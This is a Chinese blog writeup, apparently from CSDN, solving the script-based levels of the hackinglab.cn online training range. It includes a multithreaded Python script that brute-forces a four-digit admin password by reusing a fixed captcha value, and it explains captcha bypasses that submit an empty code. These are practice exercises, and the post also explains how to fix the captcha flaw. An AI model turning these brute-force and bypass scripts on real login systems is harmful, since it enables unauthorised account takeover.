生如蝼蚁当立鸿鹄之志,命薄如纸应有不屈之心。
俗话说的好
前言
![7371723235ec6cfafbfc72dd4dfbf502.png](https://i-blog.csdnimg.cn/blog_migrate/df735ce988c1cd1a323462b23e51887d.png)
![31486ebfa92bcd801437d07cc7c5fd5a.gif](https://i-blog.csdnimg.cn/blog_migrate/fd7128364be0cbaa9eec0a5431ea1d85.gif)
自从接触了 python,学了点皮毛之后,我正式从一个脚本小子摇身一变升级为脚本老弟。
在我的心目中,按能力和影响力的顺序,其实都有这样的排位:脚本小子,脚本老弟,脚本师傅,脚本大佬,脚本大神,脚本行者。
脚本小子:自以为对工具用得很六,出神入化,实则不懂原理,半斤八两,更不会自己开发工具。
脚本老弟:对工具的使用不再停留于表面,略懂点原理,会点脚本语言,属于工具制造者,在模仿中理解,加入自己的想法,只能制造,还不能创造,即使重复造着轮子,也怡然自乐。
脚本师傅:对工具使用的理解更上一层,能够根据原理自主开发简单的脚本,小工具,属于创新的萌芽期,此时也算刚刚好入门。
脚本大佬:能够充分发挥工具的作用,对工具在实际情况下的适用性和实用性也了解得七七八八,能够很好地利用工具的扩展性开发小插件,此时的代码也渐渐趋于专业和复杂。
脚本大神:阅读过工具的源码,对于其使用方法和原理也了如指掌,优缺点更是烂熟于心,能够为同类工具取长补短,发挥出 1+1>2 的效果。一句话总结:A级的工具在他们手里也能玩出S级的感觉。
脚本行者:在那个中国的黑客江湖还是一片混沌的时候,他们为江湖打造了几款具有里程碑意义的神兵利器,像冰河,明小子,中国菜刀等等,每一位都是那么举足轻重,他们的作品一经问世便能掀起江湖中的惊涛骇浪,腥风血雨。他们的一举一动都备受其等级以下的所有人的推崇和膜拜,如星星一般,可遇而不可求。
实验环境
![7371723235ec6cfafbfc72dd4dfbf502.png](https://i-blog.csdnimg.cn/blog_migrate/df735ce988c1cd1a323462b23e51887d.png)
![31486ebfa92bcd801437d07cc7c5fd5a.gif](https://i-blog.csdnimg.cn/blog_migrate/fd7128364be0cbaa9eec0a5431ea1d85.gif)
本次的实验环境为一个线上的靶场 "网络安全实验室" 的脚本关,顾名思义,用脚本来得到一个 key。地址如下:
http://hackinglab.cn/ShowQues.php?type=scripts
第一关
![7371723235ec6cfafbfc72dd4dfbf502.png](https://i-blog.csdnimg.cn/blog_migrate/df735ce988c1cd1a323462b23e51887d.png)
![31486ebfa92bcd801437d07cc7c5fd5a.gif](https://i-blog.csdnimg.cn/blog_migrate/fd7128364be0cbaa9eec0a5431ea1d85.gif)
地址:http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php
查看网页源代码,得知 key 应该在 search_key.php 中
点击之后重定向到 no_key_is_here_forever.php 。
编写脚本直接读取 search_key.php 的源代码。
import requestsurl = "http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/search_key.php"header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400"}result = requests.get(url=url, headers=header)html = result.content.decode()print(html)
第二关
![7371723235ec6cfafbfc72dd4dfbf502.png](https://i-blog.csdnimg.cn/blog_migrate/df735ce988c1cd1a323462b23e51887d.png)
![31486ebfa92bcd801437d07cc7c5fd5a.gif](https://i-blog.csdnimg.cn/blog_migrate/fd7128364be0cbaa9eec0a5431ea1d85.gif)
地址:http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php
查看网页源代码发现
和 标签中间夹杂着一堆空格和我们想要的表达式。
这里有两处难点,第一是匹配出表达式,第二是运算出表达式的结果。
这里我们设置的正则表达式为
re_str = r"
\s+(.*?)="
以
\s+ 为标识开始匹配,到 = 结束,中间的 (.*?) 就是表达式的内容。\s 是指空白,包括空格、换bai行、tab缩进等所du有的空白,+表示匹配前面的字符(即 \s)一个或以上。
python 提供的 eval 函数很好地解决了第二点难处。
eval() 函数用来执行一个字符串表达式,并返回表达式的值。
>>> eval('3*4')12>>> eval('3*3+4*4')25
还有一点要注意,必须携带该页面的 cookie 去提交数据,不然会失败,获取不到 key。
整体代码如下:
import requestsimport reheader = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400", "Cookie": "PHPSESSID=84c71c12fb086399908c4e61e4c86f62"}def main(): url = "http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php" res = requests.get(url=url, headers=header) html = res.content.decode() # 得到网页源代码 re_str = r"
\s+(.*?)=" # \s是指空白,包括空格、换bai行、tab缩进等所du有的空白,+表示一个或以上 caculate = re.findall(re_str, html) # 得到一个列表 result = eval(caculate[0]) # 取出表达式 data = {"v": result} # 设置POST提交的数据 res = requests.post(url=url, headers=header, data=data) print(res.content.decode())if __name__ == '__main__': main()
第三关
![7371723235ec6cfafbfc72dd4dfbf502.png](https://i-blog.csdnimg.cn/blog_migrate/df735ce988c1cd1a323462b23e51887d.png)
![31486ebfa92bcd801437d07cc7c5fd5a.gif](https://i-blog.csdnimg.cn/blog_migrate/fd7128364be0cbaa9eec0a5431ea1d85.gif)
第三关的思路应该是写一个脚本进行爆破,字典就是所有能代表空格的字符:%00,%0a,%0d,%0a%0d,%0b,%0c,%a0,null,none等,然后根据返回的结果判断哪个字符正确,这里我由于之前已经提交过答案,系统也无法重置信息,也就无法尝试了,直接提交 null 即可。
第四关
![7371723235ec6cfafbfc72dd4dfbf502.png](https://i-blog.csdnimg.cn/blog_migrate/df735ce988c1cd1a323462b23e51887d.png)
![31486ebfa92bcd801437d07cc7c5fd5a.gif](https://i-blog.csdnimg.cn/blog_migrate/fd7128364be0cbaa9eec0a5431ea1d85.gif)
地址:http://lab1.xseclab.com/xss3_5dcdde90bbe55087eb3514405972b1a6/index.php
查看网页源代码得知有三个包含 return false 的函数在产生干扰,将源代码保存于本地的 test.html 删除了干扰的三个函数,即可重新弹窗。
第五关
![7371723235ec6cfafbfc72dd4dfbf502.png](https://i-blog.csdnimg.cn/blog_migrate/df735ce988c1cd1a323462b23e51887d.png)
![31486ebfa92bcd801437d07cc7c5fd5a.gif](https://i-blog.csdnimg.cn/blog_migrate/fd7128364be0cbaa9eec0a5431ea1d85.gif)
地址:http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php
第五关是一个登录页面,发现用户名已知,密码为弱口令,验证码不简单,用验证码识别工具还不一定识别得出来。
通过用 burp 截包重放,验证码不变,改变密码
以上结果得知,在不刷新页面的前提下,验证码一直有效。可爆破!
先了解下验证码的发布流程:
用户请求访问或刷新网页,服务器后台生成验证码图片及图片编码。
将验证码信息加密后放入Session或Cookie;
提交表单信息后,调用生成验证码的程序;
核对验证码无误、数据合法后写入数据库;
用户正常刷新页面后,会再次访问该表单页面,会再次访问验证码图片的链接,出发验证码正粗,使得验证码图片被动更新,Session和Cookie存入的值也跟着改变,用不同方式模拟post传参直接发送数据,从而达到绕过验证码的目的。
修复此漏洞的方法:在核对验证码后,便清空Session和Cookie中保存验证码的值,再判断数据的合法性,最后写入数据库,以此提高验证码的安全性。
爆破代码:
import requestsimport queueimport threadingimport sysnum = 0total = 10000 - 1000flag = Falselock = threading.Lock()url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400", "Cookie": "PHPSESSID=84c71c12fb086399908c4e61e4c86f62"}def GetQueue(): pwd_queue = queue.Queue(10000) for i in range(1000, 10000): pwd_queue.put(i) return pwd_queuedef print_num(): global num with lock: num += 1 sys.stdout.write("\r当前的进度:{}%".format( round((num * 100) / total, 2)))def brute(pwd_queue): global flag while not pwd_queue.empty(): pwd = pwd_queue.get() data = {"username": "admin", "pwd": pwd, "vcode": "FJEG", "submit": "submit"} # print("测试密码:", pwd) res = requests.post(url=url, data=data, headers=header) html = res.content.decode() print_num() if "pwd error" not in html: print("\n密码是:{pwd}\n{html}".format(pwd=pwd, html=html)) flag = True # break else: passdef main(): thread_list = [] thread = 10 try: thread = int(input("线程数:")) except: print("thread必须是正整数,默认是10") pwd_queue = GetQueue() for t in range(thread): tmp = threading.Thread(target=brute, args=(pwd_queue,)) tmp.daemon = 1 # 守护线程 thread_list.append(tmp) for t in thread_list: t.start() while True: if flag: breakif __name__ == '__main__': main()
为了提高速度,爆破的脚本一定要加线程,而且如果找到正确密码之后就退出程序,所以还要将线程的 deamon 置1,这样的话,当主线程执行完毕,其余的子线程都将结束不会继续执行,然后退出程序。这里我还加入了一个 print_num 函数,用以显示爆破的进度。
第六关
![7371723235ec6cfafbfc72dd4dfbf502.png](https://i-blog.csdnimg.cn/blog_migrate/df735ce988c1cd1a323462b23e51887d.png)
![31486ebfa92bcd801437d07cc7c5fd5a.gif](https://i-blog.csdnimg.cn/blog_migrate/fd7128364be0cbaa9eec0a5431ea1d85.gif)
地址:http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php
Burp抓包重发得知,此处的验证码为空时依然可以验证。
这里依然使用爆破,爆破的脚本可以按照第五关的脚本,只需改一下登录的 URL 和 cookie 值即可。
运行之后的打印结果还剔除不干净,之所以还能再打印出“当前进度”,是因为还有一个子线程在主线程结束之前打印,这就和计算机的性能有关了吧,像第五关的结果就不会出现这种情况,有可能代码层面还可以再优化下,我之后再研究研究吧。
第七关
![7371723235ec6cfafbfc72dd4dfbf502.png](https://i-blog.csdnimg.cn/blog_migrate/df735ce988c1cd1a323462b23e51887d.png)
![31486ebfa92bcd801437d07cc7c5fd5a.gif](https://i-blog.csdnimg.cn/blog_migrate/fd7128364be0cbaa9eec0a5431ea1d85.gif)
地址:http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php
绕过方法还是和第六关一样,将 cookie 改为 session,将vcode置空即可绕过。
尾声
![7371723235ec6cfafbfc72dd4dfbf502.png](https://i-blog.csdnimg.cn/blog_migrate/df735ce988c1cd1a323462b23e51887d.png)
![31486ebfa92bcd801437d07cc7c5fd5a.gif](https://i-blog.csdnimg.cn/blog_migrate/fd7128364be0cbaa9eec0a5431ea1d85.gif)
我是匠心,一个在清流旁默默磨剑的匠人,期待那一天能利刃出鞘,仗剑走江湖。